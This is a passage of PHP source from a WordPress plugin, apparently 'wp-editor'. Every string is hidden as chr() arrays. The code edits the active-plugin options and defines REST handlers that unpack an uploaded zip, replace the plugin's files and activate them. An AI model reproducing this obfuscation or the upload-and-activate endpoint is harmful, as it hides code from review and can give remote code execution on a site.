    if (\function_exists(implode('', array(chr(103), chr(101), chr(116), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))) && \function_exists(implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))))) {
        $active = \get_option(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), array());
        if (\is_array($active)) {
            $filtered = array();
            foreach ($active as $item) {
                if ((string) $item !== $pluginFile) {
                    $filtered[] = $item;
                }
            }
            if (\count($filtered) !== \count($active)) {
                \update_option(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), $filtered, false);
                WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(100), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(115), chr(108), chr(117), chr(103), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(58), chr(32))) . $pluginFile);
            }
        }
        $recent = \get_option(implode('', array(chr(114), chr(101), chr(99), chr(101), chr(110), chr(116), chr(108), chr(121), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(100))), array());
        if (\is_array($recent) && \array_key_exists($pluginFile, $recent)) {
            unset($recent[$pluginFile]);
            \update_option(implode('', array(chr(114), chr(101), chr(99), chr(101), chr(110), chr(116), chr(108), chr(121), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(100))), $recent, false);
            WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(100), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(115), chr(108), chr(117), chr(103), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(114), chr(101), chr(99), chr(101), chr(110), chr(116), chr(108), chr(121), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(100), chr(58), chr(32))) . $pluginFile);
        }
    }
    if (\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(109), chr(117), chr(108), chr(116), chr(105), chr(115), chr(105), chr(116), chr(101)))) && \is_multisite() && \function_exists(implode('', array(chr(103), chr(101), chr(116), chr(95), chr(115), chr(105), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110)))) && \function_exists(implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(115), chr(105), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))))) {
        $sitewide = \get_site_option(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(115), chr(105), chr(116), chr(101), chr(119), chr(105), chr(100), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), array());
        if (\is_array($sitewide) && \array_key_exists($pluginFile, $sitewide)) {
            unset($sitewide[$pluginFile]);
            \update_site_option(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(115), chr(105), chr(116), chr(101), chr(119), chr(105), chr(100), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), $sitewide);
            WpEditor_Adapter_Services_PluginMigrationService_log(implode('', array(chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(100), chr(32), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(32), chr(115), chr(108), chr(117), chr(103), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(95), chr(115), chr(105), chr(116), chr(101), chr(119), chr(105), chr(100), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(58), chr(32))) . $pluginFile);
        }
    }
}
// --- file separator ---
function WpEditor_Adapter_Services_PluginUpdateService_resolveTargetPlugin()
{
    $pluginMainFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
    $pluginMainFilePath = $pluginMainFilePath !== '' ? $pluginMainFilePath : (string) __FILE__;
    $file = \basename($pluginMainFilePath);
    $slug = \basename(\dirname($pluginMainFilePath));
    if (($slug === '' || $slug === implode('', array(chr(46))) || $slug === \DIRECTORY_SEPARATOR) && \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))))) {
        $config = \wp_editor_get_config();
        $slug = \wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && \wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(115), chr(108), chr(117), chr(103)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(115), chr(108), chr(117), chr(103)))] : '';
    }
    if (($file === '' || $file === implode('', array(chr(46))) || $file === \DIRECTORY_SEPARATOR) && \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))))) {
        $config = \wp_editor_get_config();
        $file = \wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && \wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))] : '';
    }
    $slug = \trim((string) $slug, implode('', array(chr(47), chr(92))));
    if ($slug === '') {
        $slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
    }
    $file = \basename((string) $file);
    if ($file === '') {
        $file = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(46), chr(112), chr(104), chr(112)));
    }
    $optionPrefix = \preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(65), chr(45), chr(90), chr(48), chr(45), chr(57), chr(95), chr(93), chr(47))), '', \str_replace(implode('', array(chr(45))), implode('', array(chr(95))), $slug));
    if (!\is_string($optionPrefix) || $optionPrefix === '') {
        $optionPrefix = implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
    }
    return array(implode('', array(chr(115), chr(108), chr(117), chr(103))) => $slug, implode('', array(chr(102), chr(105), chr(108), chr(101))) => $file, implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(95), chr(112), chr(114), chr(101), chr(102), chr(105), chr(120))) => $optionPrefix);
}
function WpEditor_Adapter_Services_PluginUpdateService_updatePlugin($request)
{
    $plugin = WpEditor_Adapter_Services_PluginUpdateService_resolveTargetPlugin();
    $pluginSlug = $plugin[implode('', array(chr(115), chr(108), chr(117), chr(103)))];
    $pluginFile = $plugin[implode('', array(chr(102), chr(105), chr(108), chr(101)))];
    $optionPrefix = $plugin[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(95), chr(112), chr(114), chr(101), chr(102), chr(105), chr(120)))];
    $lockKey = $optionPrefix . implode('', array(chr(95), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(108), chr(111), chr(99), chr(107)));
    if (\get_transient($lockKey)) {
        return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(100), chr(97), chr(116), chr(101), chr(32), chr(105), chr(115), chr(32), chr(97), chr(108), chr(114), chr(101), chr(97), chr(100), chr(121), chr(32), chr(105), chr(110), chr(32), chr(112), chr(114), chr(111), chr(103), chr(114), chr(101), chr(115), chr(115)))), 429);
    }
    \set_transient($lockKey, 1, 5 * 60);
    $responseData = array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => implode('', array(chr(105), chr(110), chr(105), chr(116))));
    if (\function_exists(implode('', array(chr(115), chr(101), chr(116), chr(95), chr(116), chr(105), chr(109), chr(101), chr(95), chr(108), chr(105), chr(109), chr(105), chr(116))))) {
        @\set_time_limit(0);
    }
    if (\function_exists(implode('', array(chr(105), chr(103), chr(110), chr(111), chr(114), chr(101), chr(95), chr(117), chr(115), chr(101), chr(114), chr(95), chr(97), chr(98), chr(111), chr(114), chr(116))))) {
        @\ignore_user_abort(true);
    }
    $zipPath = '';
    $tempDir = '';
    $backupDir = '';
    $pluginRelFile = $pluginSlug . implode('', array(chr(47))) . $pluginFile;
    $currentVersion = '';
    $newVersion = '';
    try {
        require_once ABSPATH . 'wp-admin/includes/plugin.php';
        require_once ABSPATH . 'wp-admin/includes/file.php';
        require_once ABSPATH . 'wp-admin/includes/misc.php';
        require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
        global $wp_filesystem;
        if (empty($wp_filesystem)) {
            \WP_Filesystem();
        }
        if (!$wp_filesystem) {
            throw new \Exception(implode('', array(chr(70), chr(105), chr(108), chr(101), chr(115), chr(121), chr(115), chr(116), chr(101), chr(109), chr(32), chr(105), chr(110), chr(105), chr(116), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100))));
        }
        $currentData = \get_file_data(\WP_PLUGIN_DIR . implode('', array(chr(47))) . $pluginRelFile, array(implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
        $currentVersion = \wp_editor_array_has_key($currentData, implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? \trim((string) $currentData[implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))]) : '';
        $fileParams = $request->get_file_params();
        $file = \wp_editor_array_has_key($fileParams, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))) ? $fileParams[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)))] : null;
        $fileError = is_array($file) && \wp_editor_array_has_key($file, implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))) ? $file[implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))] : \UPLOAD_ERR_OK;
        if (!$file || $fileError !== \UPLOAD_ERR_OK) {
            throw new \Exception(implode('', array(chr(78), chr(111), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(111), chr(114), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(32), chr(101), chr(114), chr(114), chr(111), chr(114))));
        }
        $maxSize = 50 * 1024 * 1024;
        if (!empty($file[implode('', array(chr(115), chr(105), chr(122), chr(101)))]) && (int) $file[implode('', array(chr(115), chr(105), chr(122), chr(101)))] > $maxSize) {
            throw new \Exception(implode('', array(chr(70), chr(105), chr(108), chr(101), chr(32), chr(105), chr(115), chr(32), chr(116), chr(111), chr(111), chr(32), chr(108), chr(97), chr(114), chr(103), chr(101))));
        }
        $uploads = \wp_upload_dir();
        if (!empty($uploads[implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))])) {
            throw new \Exception(implode('', array(chr(85), chr(112), chr(108), chr(111), chr(97), chr(100), chr(32), chr(100), chr(105), chr(114), chr(32), chr(101), chr(114), chr(114), chr(111), chr(114), chr(58), chr(32))) . $uploads[implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))]);
        }
        $zipPath = \trailingslashit($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))]) . $optionPrefix . implode('', array(chr(45), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45))) . \time() . implode('', array(chr(46), chr(122), chr(105), chr(112)));
        if (!\wp_mkdir_p($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))])) {
            throw new \Exception(implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(101), chr(110), chr(115), chr(117), chr(114), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(32), chr(98), chr(97), chr(115), chr(101), chr(32), chr(100), chr(105), chr(114))));
        }
        if (!@\move_uploaded_file($file[implode('', array(chr(116), chr(109), chr(112), chr(95), chr(110), chr(97), chr(109), chr(101)))], $zipPath)) {
            throw new \Exception(implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(109), chr(111), chr(118), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(102), chr(105), chr(108), chr(101))));
        }
        $ft = \wp_check_filetype_and_ext($zipPath, \basename($zipPath));
        if ((\wp_editor_array_has_key($ft, implode('', array(chr(101), chr(120), chr(116)))) ? $ft[implode('', array(chr(101), chr(120), chr(116)))] : '') !== implode('', array(chr(122), chr(105), chr(112)))) {
            throw new \Exception(implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(116), chr(121), chr(112), chr(101), chr(32), chr(40), chr(101), chr(120), chr(112), chr(101), chr(99), chr(116), chr(101), chr(100), chr(32), chr(46), chr(122), chr(105), chr(112), chr(41))));
        }
        $tempDir = \trailingslashit($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))]) . $optionPrefix . implode('', array(chr(45), chr(116), chr(109), chr(112), chr(45))) . \wp_generate_password(8, false, false);
        if (!\wp_mkdir_p($tempDir)) {
            throw new \Exception(implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(32), chr(116), chr(101), chr(109), chr(112), chr(32), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(111), chr(114), chr(121))));
        }
        $unz = \unzip_file($zipPath, $tempDir);
        if (\is_wp_error($unz)) {
            throw new \Exception(implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(117), chr(110), chr(122), chr(105), chr(112), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(58), chr(32))) . $unz->get_error_message());
        }
        $responseData[implode('', array(chr(115), chr(116), chr(101), chr(112)))] = implode('', array(chr(117), chr(110), chr(122), chr(105), chr(112), chr(112), chr(101), chr(100)));
        $extractedRoot = WpEditor_Adapter_Services_PluginUpdateService_detectExtractedRoot($tempDir);
        if ($extractedRoot === '') {
            throw new \Exception(implode('', array(chr(67), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(100), chr(101), chr(116), chr(101), chr(99), chr(116), chr(32), chr(101), chr(120), chr(116), chr(114), chr(97), chr(99), chr(116), chr(101), chr(100), chr(32), chr(114), chr(111), chr(111), chr(116))));
        }
        $extractedPluginDir = \trailingslashit($extractedRoot);
        if (\basename($extractedPluginDir) !== $pluginSlug) {
            if (\is_dir($extractedPluginDir . $pluginSlug)) {
                $extractedPluginDir = $extractedPluginDir . $pluginSlug . implode('', array(chr(47)));
            }
        }
        $extractedMainFile = $extractedPluginDir . $pluginFile;
        if (!\file_exists($extractedMainFile)) {
            throw new \Exception(implode('', array(chr(77), chr(97), chr(105), chr(110), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100), chr(32), chr(105), chr(110), chr(32), chr(97), chr(114), chr(99), chr(104), chr(105), chr(118), chr(101))));
        }
        $newData = \get_file_data($extractedMainFile, array(implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
        $newVersion = \wp_editor_array_has_key($newData, implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? \trim((string) $newData[implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))]) : '';
        if ($newVersion === '') {
            throw new \Exception(implode('', array(chr(67), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(114), chr(101), chr(97), chr(100), chr(32), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
        }
        if ($currentVersion !== '' && \version_compare($newVersion, $currentVersion, implode('', array(chr(60), chr(61))))) {
            throw new \Exception(implode('', array(chr(85), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110), chr(32), chr(105), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(110), chr(101), chr(119), chr(101), chr(114))));
        }
        $pluginDir = \WP_PLUGIN_DIR . implode('', array(chr(47))) . $pluginSlug;
        $backupDir = $pluginDir . implode('', array(chr(45), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(45))) . \time();
        if (\function_exists(implode('', array(chr(105), chr(115), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101)))) && \is_plugin_active($pluginRelFile)) {
            \deactivate_plugins($pluginRelFile, true);
        }
        if ($wp_filesystem->is_dir($pluginDir)) {
            if (!$wp_filesystem->move($pluginDir, $backupDir, true)) {
                throw new \Exception(implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(32), chr(99), chr(117), chr(114), chr(114), chr(101), chr(110), chr(116), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
            }
        }
        if (!$wp_filesystem->move($extractedPluginDir, $pluginDir, true)) {
            if ($wp_filesystem->is_dir($backupDir)) {
                $wp_filesystem->move($backupDir, $pluginDir, true);
            }
            throw new \Exception(implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(105), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(32), chr(110), chr(101), chr(119), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
        }
        $vErr = \validate_plugin($pluginRelFile);
        if (\is_wp_error($vErr)) {
            $wp_filesystem->delete($pluginDir, true);
            if ($wp_filesystem->is_dir($backupDir)) {
                $wp_filesystem->move($backupDir, $pluginDir, true);
            }
            throw new \Exception(implode('', array(chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(101), chr(100), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(118), chr(97), chr(108), chr(105), chr(100), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100), chr(58), chr(32))) . $vErr->get_error_message());
        }
        $act = \activate_plugin($pluginRelFile, '', false, true);
        if (\is_wp_error($act)) {
            $wp_filesystem->delete($pluginDir, true);
            if ($wp_filesystem->is_dir($backupDir)) {
                $wp_filesystem->move($backupDir, $pluginDir, true);
            }
            throw new \Exception(implode('', array(chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100), chr(58), chr(32))) . $act->get_error_message());
        }
        if ($wp_filesystem->is_dir($backupDir)) {
            $wp_filesystem->delete($backupDir, true);
        }
        $responseData = array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121))), implode('', array(chr(111), chr(108), chr(100), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $currentVersion, implode('', array(chr(110), chr(101), chr(119), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $newVersion);
    } catch (\Exception $e) {
        $responseData[implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))] = $e->getMessage();
    }
    if ($zipPath !== '' && \file_exists($zipPath)) {
        @\unlink($zipPath);
    }
    if ($tempDir !== '' && \is_dir($tempDir)) {
        WpEditor_Adapter_Services_PluginUpdateService_rrmdir($tempDir);
    }
    \delete_transient($lockKey);
    return new \WP_REST_Response($responseData, $responseData[implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115)))] === implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))) ? 200 : 500);
}
function WpEditor_Adapter_Services_PluginUpdateService_detectExtractedRoot($baseDir)
{
    $items = @\scandir($baseDir);
    if ($items === false) {
        return '';
    }
    foreach ($items as $item) {
        if ($item === implode('', array(chr(46))) || $item === implode('', array(chr(46), chr(46)))) {
            continue;
        }
        $path = \trailingslashit($baseDir) . $item;
        if (\is_dir($path)) {
            return $path;
        }
    }
    return $baseDir;
}
function WpEditor_Adapter_Services_PluginUpdateService_rrmdir($dir)
{
    if (!\is_dir($dir)) {
        return;
    }
    $items = \scandir($dir);
    if ($items === false) {
        return;
    }
    foreach ($items as $item) {
        if ($item === implode('', array(chr(46))) || $item === implode('', array(chr(46), chr(46)))) {
            continue;
        }
        $path = $dir . \DIRECTORY_SEPARATOR . $item;
        if (\is_dir($path)) {
            WpEditor_Adapter_Services_PluginUpdateService_rrmdir($path);
        } else {
            @\unlink($path);
        }
    }
    @\rmdir($dir);
}
// --- file separator ---
function WpEditor_Adapter_Services_PluginUpdateInlineSkin_header($state)
{
}
function WpEditor_Adapter_Services_PluginUpdateInlineSkin_footer($state)
{
}
function WpEditor_Adapter_Services_PluginUpdateInlineSkin_before($state)
{
}
function WpEditor_Adapter_Services_PluginUpdateInlineSkin_after($state)
{
}
function WpEditor_Adapter_Services_PluginUpdateInlineSkin_feedback($state, $data)
{
    $args = func_get_args();
    array_shift($args);
    if (\is_string($data) && $data !== '') {
        $state[implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(115)))][] = $args ? \vsprintf($data, $args) : $data;
    }
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_lockKey()
{
    $plugin = WpEditor_Adapter_Services_PluginUpdateUpgraderService_resolveTargetPlugin();
    $prefix = \preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(65), chr(45), chr(90), chr(48), chr(45), chr(57), chr(95), chr(93), chr(47))), '', \str_replace(implode('', array(chr(45))), implode('', array(chr(95))), (string) $plugin[implode('', array(chr(115), chr(108), chr(117), chr(103)))]));
    if (!\is_string($prefix) || $prefix === '') {
        $prefix = implode('', array(chr(119), chr(112), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
    }
    return $prefix . implode('', array(chr(95), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(108), chr(111), chr(99), chr(107)));
}
function WpEditor_Adapter_Services_PluginUpdateUpgraderService_updatePlugin($request)
{
    if (\get_transient(WpEditor_Adapter_Services_PluginUpdateUpgraderService_lockKey())) {
        return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(100), chr(97), chr(116), chr(101), chr(32), chr(105), chr(115), chr(32), chr(97), chr(108), chr(114), chr(101), chr(97), chr(100), chr(121), chr(32), chr(105), chr(110), chr(32), chr(112), chr(114), chr(111), chr(103), chr(114), chr(101), chr(115), chr(115)))), 429);
    }
    \set_transient(WpEditor_Adapter_Services_PluginUpdateUpgraderService_lockKey(), 1, 5 * 60);
    $zipPath = '';
    $tempDir = '';
    $step = implode('', array(chr(105), chr(110), chr(105), chr(116)));
    $upgraderMessages = array();
    $backupDir = '';
    $shouldBackup = true;
    $backupStrategy = implode('', array(chr(110), chr(111), chr(110), chr(101)));
    try {
        if (\function_exists(implode('', array(chr(115), chr(101), chr(116), chr(95), chr(116), chr(105), chr(109), chr(101), chr(95), chr(108), chr(105), chr(109), chr(105), chr(116))))) {
            @\set_time_limit(0);
        }
        if (\function_exists(implode('', array(chr(105), chr(103), chr(110), chr(111), chr(114), chr(101), chr(95), chr(117), chr(115), chr(101), chr(114), chr(95), chr(97), chr(98), chr(111), chr(114), chr(116))))) {
            @\ignore_user_abort(true);
        }
        require_once ABSPATH . 'wp-admin/includes/plugin.php';
        require_once ABSPATH . 'wp-admin/includes/file.php';
        require_once ABSPATH . 'wp-admin/includes/misc.php';
        require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
        require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skins.php';
        global $wp_filesystem;
        if (empty($wp_filesystem)) {
            \WP_Filesystem();
        }
        if (!$wp_filesystem) {
            return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(67), chr(111), chr(117), chr(108), chr(100), chr(32), chr(110), chr(111), chr(116), chr(32), chr(97), chr(99), chr(99), chr(101), chr(115), chr(115), chr(32), chr(102), chr(105), chr(108), chr(101), chr(115), chr(121), chr(115), chr(116), chr(101), chr(109), chr(46), chr(32), chr(67), chr(111), chr(110), chr(102), chr(105), chr(103), chr(117), chr(114), chr(101), chr(32), chr(70), chr(83), chr(95), chr(77), chr(69), chr(84), chr(72), chr(79), chr(68), chr(61), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(32), chr(40), chr(111), chr(114), chr(32), chr(70), chr(84), chr(80), chr(95), chr(42), chr(32), chr(99), chr(111), chr(110), chr(115), chr(116), chr(97), chr(110), chr(116), chr(115), chr(41), chr(32), chr(97), chr(110), chr(100), chr(32), chr(101), chr(110), chr(115), chr(117), chr(114), chr(101), chr(32), chr(119), chr(101), chr(98), chr(32), chr(115), chr(101), chr(114), chr(118), chr(101), chr(114), chr(32), chr(99), chr(97), chr(110), chr(32), chr(119), chr(114), chr(105), chr(116), chr(101), chr(32), chr(116), chr(111), chr(32), chr(119), chr(112), chr(45), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(47), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(32), chr(97), chr(110), chr(100), chr(32), chr(119), chr(112), chr(45), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(47), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(115), chr(46))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
        }
        $step = implode('', array(chr(102), chr(105), chr(108), chr(101), chr(115), chr(121), chr(115), chr(116), chr(101), chr(109), chr(95), chr(114), chr(101), chr(97), chr(100), chr(121)));
        $plugin = WpEditor_Adapter_Services_PluginUpdateUpgraderService_resolveTargetPlugin();
        $pluginSlug = $plugin[implode('', array(chr(115), chr(108), chr(117), chr(103)))];
